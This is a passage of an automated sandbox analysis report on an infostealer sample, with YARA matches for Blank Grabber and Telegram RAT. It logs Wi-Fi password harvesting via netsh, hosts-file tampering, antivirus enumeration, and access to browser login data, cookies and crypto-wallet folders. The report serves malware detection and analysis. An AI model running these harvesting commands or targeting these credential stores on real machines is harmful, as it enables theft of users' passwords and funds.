              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\tree.comQueries volume information: C:\ VolumeInformation
              Source: C:\Windows\System32\netsh.exeQueries volume information: C:\ VolumeInformation
              Source: C:\Windows\System32\tree.comQueries volume information: C:\ VolumeInformation
              Source: C:\Windows\System32\tree.comQueries volume information: C:\ VolumeInformation
              Source: C:\Windows\System32\tree.comQueries volume information: C:\ VolumeInformation
              Source: C:\Windows\System32\tree.comQueries volume information: C:\ VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\tree.comQueries volume information: C:\ VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\cmd.exeQueries volume information: C:\ VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 0_2_00007FF6FFD1C7A0 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,0_2_00007FF6FFD1C7A0
              Source: C:\Users\user\Desktop\Built (1).exeCode function: 0_2_00007FF6FFD36B50 _get_daylight,_get_daylight,_get_daylight,_get_daylight,_get_daylight,GetTimeZoneInformation,0_2_00007FF6FFD36B50
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeCode function: 74_2_00007FF70F3B48CC GetModuleFileNameW,GetVersionExW,LoadLibraryW,LoadLibraryW,74_2_00007FF70F3B48CC
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

              Lowering of HIPS / PFW / Operating System Security Settings

              barindex
              Modifies the hosts file
              Source: C:\Users\user\Desktop\Built (1).exeFile written: C:\Windows\System32\drivers\etc\hostsJump to behavior
              Uses netsh to modify the Windows network and firewall settings
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\netsh.exe netsh wlan show profile
              Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct
              Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct
              Source: C:\Windows\System32\wbem\WMIC.exeWMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT displayName FROM AntivirusProduct

              Stealing of Sensitive Information

              barindex
              Yara detected Blank Grabber
              Source: Yara matchFile source: 00000001.00000003.1894615247.000001887CABE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000001.00000003.1893968166.000001887BDB6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000001.00000002.1901063320.000001887BB73000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000000.00000003.1624338790.0000024AA458A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000001.00000003.1641004156.000001887BD40000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000001.00000003.1896412902.000001887BDB6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000001.00000002.1902509315.000001887BDB6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000001.00000002.1900783460.000001887B940000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000000.00000003.1624338790.0000024AA4588000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: Process Memory Space: Built (1).exe PID: 7528, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: Built (1).exe PID: 7544, type: MEMORYSTR
              Source: Yara matchFile source: C:\Users\user\AppData\Local\Temp\_MEI75282\rarreg.key, type: DROPPED
              Yara detected Telegram RAT
              Source: Yara matchFile source: Process Memory Space: Built (1).exe PID: 7544, type: MEMORYSTR
              Found many strings related to Crypto-Wallets (likely being stolen)
              Source: Built (1).exe, 00000001.00000002.1903170214.000001887C100000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: C:\Users\user\AppData\Roaming\Electrum\wallets
              Source: Built (1).exe, 00000001.00000003.1641004156.000001887BD40000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: Jaxxz
              Source: Built (1).exe, 00000001.00000002.1903170214.000001887C100000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
              Source: Built (1).exe, 00000001.00000002.1903170214.000001887C100000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: C:\Users\user\AppData\Roaming\Ethereum\keystore
              Source: Built (1).exe, 00000001.00000002.1903170214.000001887C100000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
              Source: Built (1).exe, 00000001.00000002.1903170214.000001887C100000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: C:\Users\user\AppData\Roaming\Ethereum\keystore
              Source: Built (1).exe, 00000001.00000003.1656142939.000001887B81C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: \??\C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
              Source: Built (1).exe, 00000001.00000002.1903170214.000001887C100000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: C:\Users\user\AppData\Roaming\Ethereum\keystore
              Tries to harvest and steal WLAN passwords
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\netsh.exe netsh wlan show profile
              Source: C:\Users\user\Desktop\Built (1).exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "netsh wlan show profile"Jump to behavior
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\netsh.exe netsh wlan show profile
              Tries to harvest and steal browser information (history, passwords, etc)
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\HistoryJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\PersistentOriginTrialsJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_model_metadata_storeJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\saved-telemetry-pingsJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web ApplicationsJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login DataJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\DawnCacheJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_hint_cache_storeJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\NetworkJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension SettingsJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Session StorageJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login DataJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\bde1cb97-a9f1-4568-9626-b993438e38e1Jump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage\fccd7e85-a1ff-4466-9ff5-c20d62f6e0a2Jump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\content-prefs.sqliteJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension RulesJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\4d5b179f-bba0-432a-b376-b1fb347ae64fJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync DataJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\protections.sqliteJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\permissions.sqliteJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\defJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhmJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\favicons.sqliteJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension ScriptsJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download ServiceJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\webappsstore.sqliteJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDBJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\metadataJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasmJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldbJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\databasesJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\EntryDBJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\SessionsJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqliteJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\FilesJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\57328c1e-640f-4b62-a5a0-06d479b676c2Jump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HistoryJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_dbJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareportingJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqliteJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement TrackerJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm\index-dirJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\jsJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\bookmarkbackupsJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\2cb4572a-4cab-4e12-9740-762c0a50285fJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dirJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\coupon_dbJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\extJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage.sqliteJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\e8d04e65-de13-4e7d-b232-291855cace25Jump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\minidumpsJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SignalStorageConfigDBJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local StorageJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\03a1fc40-7474-4824-8fa1-eaa75003e98aJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local StorageJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\z6bny8rn.defaultJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\StorageJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-releaseJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ghbmnnjooekpmoecnnnilnnbdlolhkhiJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloadsJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\8ad0d94c-ca05-4c9d-8177-48569175e875Jump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SignalDBJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Session StorageJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\DefaultJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\5bc1a347-c482-475c-a573-03c10998aeeaJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmiedaJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\000003.logJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\2918063365piupsah.sqliteJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM StoreJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknnJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync App SettingsJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\crashesJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation PlatformJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqliteJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCacheJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabaseJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics DatabaseJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\WebStorageJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqliteJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\ProfilesJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code CacheJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.sqliteJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\NetworkJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\EventDBJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabaseJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension SettingsJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionstore-backupsJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\ls-archive.sqliteJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storageJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\security_stateJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storageJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension StateJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\3561288849sdhlie.sqliteJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage\leveldb\000003.logJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\CacheJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store\EncryptionJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GPUCacheJump to behavior
              Source: C:\Users\user\Desktop\Built (1).exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqliteJump to behavior
